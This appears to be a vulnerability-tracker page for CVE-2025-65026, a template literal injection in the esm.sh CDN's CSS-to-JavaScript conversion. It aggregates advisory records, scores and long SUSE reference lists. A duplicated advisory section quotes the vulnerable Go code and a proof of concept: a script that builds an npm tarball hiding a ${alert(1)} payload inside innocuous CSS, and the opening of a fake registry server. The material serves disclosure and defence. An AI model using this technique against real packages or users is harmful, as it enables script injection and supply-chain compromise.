CVE-2025-65026
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.1
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.
- Record
CVE-2025-65026- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2025-198180
6.1
esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.
- Record
EUVD-2025-198180- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hcpf-qv9m-vfgp
6.1
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
Summary
The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details
File: server/router.go
Lines: 1112-1119
// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
css, err := os.ReadFile(filename)
if err != nil {
return rex.Status(500, err.Error())
}
buf := bytes.NewBufferString("/* esm.sh - css module */\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
if bytes.ContainsRune(css, '`') {
// If backtick exists: JSON encode (SAFE)
buf.WriteString("stylesheet.replaceSync(`")
buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
buf.WriteString(");\n")
} else {
// If no backtick: Direct insertion (VULNERABLE!)
buf.WriteString("stylesheet.replaceSync(`")
buf.Write(css) // ← CSS inserted into template literal without sanitization!
buf.WriteString("`);\n")
}
buf.WriteString("export default stylesheet;\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf
}
When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions.
Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar)
import tarfile
import io
import json
from datetime import datetime
# Malicious CSS with template literal injection
evil_css = b"""
body {
background-color: #ffffff;
color: #333333;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
/* js payload */
${alert(1)}
/* More CSS to appear legitimate */
.footer {
margin-top: 20px;
padding: 10px;
}
"""
files = {
"package/index.js": b"module.exports = { version: '1.0.0' };",
"package/package.json": json.dumps({
"name": "test-css-injection",
"version": "1.0.0",
"description": "Test package for CSS injection",
"main": "index.js"
}, indent=2).encode(),
# Malicious CSS file
"package/poc.css": evil_css,
}
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o644
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")
Step 2. Run Fake Registry Server
# fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(__name__)
MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>')
def get_metadata(package):
return jsonify({
"name":…
- Record
GHSA-hcpf-qv9m-vfgp- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
6.1
esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.
- Record
CVE-2025-65026- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-94, CWE-79
- Updated
- 2026-11-02
OSV
6.1
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.
- Record
CVE-2025-65026- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-hcpf-qv9m-vfgp
6.1
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
Summary
The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details
File: server/router.go
Lines: 1112-1119
// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
css, err := os.ReadFile(filename)
if err != nil {
return rex.Status(500, err.Error())
}
buf := bytes.NewBufferString("/* esm.sh - css module */\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
if bytes.ContainsRune(css, '`') {
// If backtick exists: JSON encode (SAFE)
buf.WriteString("stylesheet.replaceSync(`")
buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
buf.WriteString(");\n")
} else {
// If no backtick: Direct insertion (VULNERABLE!)
buf.WriteString("stylesheet.replaceSync(`")
buf.Write(css) // ← CSS inserted into template literal without sanitization!
buf.WriteString("`);\n")
}
buf.WriteString("export default stylesheet;\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf
}
When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions.
Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar)
import tarfile
import io
import json
from datetime import datetime
# Malicious CSS with template literal injection
evil_css = b"""
body {
background-color: #ffffff;
color: #333333;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
/* js payload */
${alert(1)}
/* More CSS to appear legitimate */
.footer {
margin-top: 20px;
padding: 10px;
}
"""
files = {
"package/index.js": b"module.exports = { version: '1.0.0' };",
"package/package.json": json.dumps({
"name": "test-css-injection",
"version": "1.0.0",
"description": "Test package for CSS injection",
"main": "index.js"
}, indent=2).encode(),
# Malicious CSS file
"package/poc.css": evil_css,
}
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o644
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")
Step 2. Run Fake Registry Server
# fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(__name__)
MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>')
def get_metadata(package):
return jsonify({
"name":…
- Record
GHSA-hcpf-qv9m-vfgp- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGO-2025-4139 No score
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh
- Record
GO-2025-4139- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:4395-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
-
Update to version 0.0.20251209T172047 2025-12-09T17:20:47Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-4006 CVE-2025-61725
- GO-2025-4176 CVE-2025-65105 GHSA-j3rw-fx6g-q46j
- GO-2025-4177 CVE-2025-64750 GHSA-wwrx-w7c9-rf87
- GO-2025-4178 CVE-2025-13870 GHSA-58w6-w55x-6wq8
- GO-2025-4179 CVE-2025-64443 GHSA-46gc-mwh4-cc5r
- GO-2025-4180 CVE-2025-44005 GHSA-h8cp-697h-8c8p
- GO-2025-4181 CVE-2025-66406 GHSA-j7c9-79x7-8hpr
- GO-2025-4182 CVE-2025-66411 GHSA-jf75-p25m-pw74
- GO-2025-4183 CVE-2017-18870 GHSA-9j9j-mm2r-9rfm
- GO-2025-4184 CVE-2017-18871 GHSA-jc6w-8r7f-vmp5
- GO-2025-4185 CVE-2017-18902 GHSA-jwfv-5hwq-f97r
- GO-2025-4186 CVE-2017-18875 GHSA-9rr5-q43r-ccv4
- GO-2025-4187 CVE-2017-18876 GHSA-hjqh-j6rj-gh8q
- GO-2025-4189 CVE-2017-18879 GHSA-498j-wxww-j897
- GO-2025-4190 CVE-2017-18877 GHSA-9x8x-w6g5-hx4w
- GO-2025-4192 CVE-2025-66564 GHSA-4qg8-fj49-pxjh
- GO-2025-4193 CVE-2025-66506 GHSA-f83f-xpx7-ffpw
- GO-2025-4197 CVE-2017-18884 GHSA-876j-jfqf-m7j7
- GO-2025-4198 CVE-2017-18883 GHSA-w8cc-3h7q-jhc3
-
Update to version 0.0.20251203T174324 2025-12-03T17:43:24Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-4155 CVE-2025-61729
- GO-2025-4163 CVE-2025-60638 GHSA-f2hj-vpp9-6vm2
- GO-2025-4164 CVE-2025-60632 GHSA-vgq7-9r5r-j9v3
- GO-2025-4171 CVE-2025-66410 GHSA-jrhg-82w2-vvj7
- GO-2025-4172 CVE-2025-12756 GHSA-p6gj-jc38-x2m7
- GO-2025-4174 CVE-2025-13353 GHSA-69jw-4jj8-fcxm
- GO-2025-4175 CVE-2025-61727
-
Update to version 0.0.20251125T181218 2025-11-25T18:12:18Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-4133 CVE-2025-55074 GHSA-9hh7-6558-qfp2
- GO-2025-4138 CVE-2025-65025 GHSA-h3mw-4f23-gwpw
- GO-2025-4139 CVE-2025-65026 GHSA-hcpf-qv9m-vfgp
- GO-2025-4146 CVE-2018-21258 GHSA-5mh6-p63g-3mv5
- GO-2025-4147 GHSA-6xvf-4vh9-mw47
- GO-2025-4149 CVE-2025-13425 GHSA-f786-75f3-74xj
- GO-2025-4150 CVE-2025-64751 GHSA-2c64-vmv2-hgfc
- GO-2025-4151 CVE-2025-65111 GHSA-9m7r-g8hg-x3vr
- GO-2025-4152 CVE-2025-13357 GHSA-gmm6-j2g5-r52m
- GO-2025-4153 CVE-2025-41115 GHSA-w62r-7c53-fmc5
- GO-2025-4156 CVE-2025-64761 GHSA-7ff4-jw48-3436
- GO-2025-4157 GHSA-2fcv-qww3-9v6h
- GO-2025-4158 GHSA-rj4j-2jph-gg43
- GO-2025-4159 GHSA-xq4h-wqm2-668w
- GO-2025-4160 CVE-2025-65965 GHSA-6gxw-85q2-q646
- Record
SUSE-SU-2025:4395-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/esm-dev/esm.shGo |
before 0.0.0-20251118065157-87d2f6497574 | 0.0.0-20251118065157-87d2f6497574 |
govulncheck-vulndbSUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 37 CVEs |
before 0.0.20251209T172047-150000.1.127.1 | 0.0.20251209T172047-150000.1.127.1 |
govulncheck-vulndbopenSUSE:Leap 15.6 From an advisory covering 37 CVEs |
before 0.0.20251209T172047-150000.1.127.1 | 0.0.20251209T172047-150000.1.127.1 |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-65026 is a medium vulnerability (CVSS 6.1) in Esm Esm.sh, published November 19, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 44th percentile. Fixed in github.com/esm-dev/esm.sh 0.0.0-20251118065157-87d2f6497574.
References
github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp
github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c
nvd.nist.gov/vuln/detail/CVE-2025-65026
github.com/advisories/GHSA-hcpf-qv9m-vfgp
github.com/CVEProject/cvelistV5/tree/main/cves/2025/65xxx/CVE-2025-65026.json
github.com/esm-dev/esm.sh
Show 194 moreShow less
suse.com/support/update/announcement/2025/suse-su-20254395-1
suse.com/security/cve/CVE-2017-18870
suse.com/security/cve/CVE-2017-18871
suse.com/security/cve/CVE-2017-18875
suse.com/security/cve/CVE-2017-18876
suse.com/security/cve/CVE-2017-18877
suse.com/security/cve/CVE-2017-18879
suse.com/security/cve/CVE-2017-18883
suse.com/security/cve/CVE-2017-18884
suse.com/security/cve/CVE-2017-18902
suse.com/security/cve/CVE-2018-21258
suse.com/security/cve/CVE-2025-12756
suse.com/security/cve/CVE-2025-13353
suse.com/security/cve/CVE-2025-13357
suse.com/security/cve/CVE-2025-13425
suse.com/security/cve/CVE-2025-13870
suse.com/security/cve/CVE-2025-41115
suse.com/security/cve/CVE-2025-44005
suse.com/security/cve/CVE-2025-55074
suse.com/security/cve/CVE-2025-60632
suse.com/security/cve/CVE-2025-60638
suse.com/security/cve/CVE-2025-61725
suse.com/security/cve/CVE-2025-61727
suse.com/security/cve/CVE-2025-61729
suse.com/security/cve/CVE-2025-64443
suse.com/security/cve/CVE-2025-64750
suse.com/security/cve/CVE-2025-64751
suse.com/security/cve/CVE-2025-64761
suse.com/security/cve/CVE-2025-65025
suse.com/security/cve/CVE-2025-65026
suse.com/security/cve/CVE-2025-65105
suse.com/security/cve/CVE-2025-65111
suse.com/security/cve/CVE-2025-65965
suse.com/security/cve/CVE-2025-66406
suse.com/security/cve/CVE-2025-66410
suse.com/security/cve/CVE-2025-66411
suse.com/security/cve/CVE-2025-66506
suse.com/security/cve/CVE-2025-66564
suse.com/security/cve/CVE-2016-11063
suse.com/security/cve/CVE-2016-11066
suse.com/security/cve/CVE-2016-11067
suse.com/security/cve/CVE-2016-11068
suse.com/security/cve/CVE-2016-11069
suse.com/security/cve/CVE-2016-11070
suse.com/security/cve/CVE-2016-11071
suse.com/security/cve/CVE-2016-11072
suse.com/security/cve/CVE-2016-11073
suse.com/security/cve/CVE-2016-11074
suse.com/security/cve/CVE-2016-11075
suse.com/security/cve/CVE-2016-11076
suse.com/security/cve/CVE-2016-11077
suse.com/security/cve/CVE-2016-11078
suse.com/security/cve/CVE-2016-11079
suse.com/security/cve/CVE-2016-11080
suse.com/security/cve/CVE-2016-11081
suse.com/security/cve/CVE-2016-11082
suse.com/security/cve/CVE-2016-11083
suse.com/security/cve/CVE-2016-11084
suse.com/security/cve/CVE-2017-18872
suse.com/security/cve/CVE-2017-18873
suse.com/security/cve/CVE-2017-18874
suse.com/security/cve/CVE-2017-18878
suse.com/security/cve/CVE-2017-18885
suse.com/security/cve/CVE-2017-18886
suse.com/security/cve/CVE-2017-18887
suse.com/security/cve/CVE-2017-18888
suse.com/security/cve/CVE-2017-18889
suse.com/security/cve/CVE-2017-18890
suse.com/security/cve/CVE-2017-18891
suse.com/security/cve/CVE-2017-18892
suse.com/security/cve/CVE-2017-18893
suse.com/security/cve/CVE-2017-18894
suse.com/security/cve/CVE-2017-18895
suse.com/security/cve/CVE-2017-18896
suse.com/security/cve/CVE-2017-18897
suse.com/security/cve/CVE-2017-18898
suse.com/security/cve/CVE-2017-18900
suse.com/security/cve/CVE-2017-18901
suse.com/security/cve/CVE-2017-18903
suse.com/security/cve/CVE-2017-18904
suse.com/security/cve/CVE-2017-18905
suse.com/security/cve/CVE-2017-18906
suse.com/security/cve/CVE-2017-18907
suse.com/security/cve/CVE-2017-18908
suse.com/security/cve/CVE-2017-18909
suse.com/security/cve/CVE-2017-18911
suse.com/security/cve/CVE-2017-18912
suse.com/security/cve/CVE-2017-18915
suse.com/security/cve/CVE-2017-18916
suse.com/security/cve/CVE-2017-18917
suse.com/security/cve/CVE-2017-18918
suse.com/security/cve/CVE-2019-8400
suse.com/security/cve/CVE-2021-25320
suse.com/security/cve/CVE-2022-45786
suse.com/security/cve/CVE-2023-26154
suse.com/security/cve/CVE-2023-32199
suse.com/security/cve/CVE-2023-34620
suse.com/security/cve/CVE-2023-43630
suse.com/security/cve/CVE-2023-43631
suse.com/security/cve/CVE-2023-43632
suse.com/security/cve/CVE-2023-43633
suse.com/security/cve/CVE-2023-43634
suse.com/security/cve/CVE-2023-43635
suse.com/security/cve/CVE-2023-43636
suse.com/security/cve/CVE-2023-43637
suse.com/security/cve/CVE-2023-47108
suse.com/security/cve/CVE-2024-12886
suse.com/security/cve/CVE-2024-21635
suse.com/security/cve/CVE-2024-25621
suse.com/security/cve/CVE-2024-41260
suse.com/security/cve/CVE-2024-41265
suse.com/security/cve/CVE-2024-44905
suse.com/security/cve/CVE-2024-52284
suse.com/security/cve/CVE-2024-53412
suse.com/security/cve/CVE-2024-58259
suse.com/security/cve/CVE-2024-58260
suse.com/security/cve/CVE-2024-58267
suse.com/security/cve/CVE-2024-58269
suse.com/security/cve/CVE-2024-6717
suse.com/security/cve/CVE-2025-0426
suse.com/security/cve/CVE-2025-10543
suse.com/security/cve/CVE-2025-10545
suse.com/security/cve/CVE-2025-10630
suse.com/security/cve/CVE-2025-10678
suse.com/security/cve/CVE-2025-10954
suse.com/security/cve/CVE-2025-11374
suse.com/security/cve/CVE-2025-11375
suse.com/security/cve/CVE-2025-11393
suse.com/security/cve/CVE-2025-11579
suse.com/security/cve/CVE-2025-11621
suse.com/security/cve/CVE-2025-11776
suse.com/security/cve/CVE-2025-11777
suse.com/security/cve/CVE-2025-11794
suse.com/security/cve/CVE-2025-12044
suse.com/security/cve/CVE-2025-12419
suse.com/security/cve/CVE-2025-12421
suse.com/security/cve/CVE-2025-12559
suse.com/security/cve/CVE-2025-12689
suse.com/security/cve/CVE-2025-13281
suse.com/security/cve/CVE-2025-13324
suse.com/security/cve/CVE-2025-13352
suse.com/security/cve/CVE-2025-13523
suse.com/security/cve/CVE-2025-13767
suse.com/security/cve/CVE-2025-13821
suse.com/security/cve/CVE-2025-13888
suse.com/security/cve/CVE-2025-14273
suse.com/security/cve/CVE-2025-14350
suse.com/security/cve/CVE-2025-14435
suse.com/security/cve/CVE-2025-14443
suse.com/security/cve/CVE-2025-14525
suse.com/security/cve/CVE-2025-14573
suse.com/security/cve/CVE-2025-14764
suse.com/security/cve/CVE-2025-14822
suse.com/security/cve/CVE-2025-14986
suse.com/security/cve/CVE-2025-14987
suse.com/security/cve/CVE-2025-15107
suse.com/security/cve/CVE-2025-15558
suse.com/security/cve/CVE-2025-21613
suse.com/security/cve/CVE-2025-22870
suse.com/security/cve/CVE-2025-22873
suse.com/security/cve/CVE-2025-23266
suse.com/security/cve/CVE-2025-23267
suse.com/security/cve/CVE-2025-26625
suse.com/security/cve/CVE-2025-27093
suse.com/security/cve/CVE-2025-2786
suse.com/security/cve/CVE-2025-2842
suse.com/security/cve/CVE-2025-2843
suse.com/security/cve/CVE-2025-31133
suse.com/security/cve/CVE-2025-34410
suse.com/security/cve/CVE-2025-34429
suse.com/security/cve/CVE-2025-34430
suse.com/security/cve/CVE-2025-41117
suse.com/security/cve/CVE-2025-41118
suse.com/security/cve/CVE-2025-41410
suse.com/security/cve/CVE-2025-41436
suse.com/security/cve/CVE-2025-41443
suse.com/security/cve/CVE-2025-44001
suse.com/security/cve/CVE-2025-44004
suse.com/security/cve/CVE-2025-47906
suse.com/security/cve/CVE-2025-47910
suse.com/security/cve/CVE-2025-47911
suse.com/security/cve/CVE-2025-47912
suse.com/security/cve/CVE-2025-47913
suse.com/security/cve/CVE-2025-47914
suse.com/security/cve/CVE-2025-48731
suse.com/security/cve/CVE-2025-49221
suse.com/security/cve/CVE-2025-4953
suse.com/security/cve/CVE-2025-50180
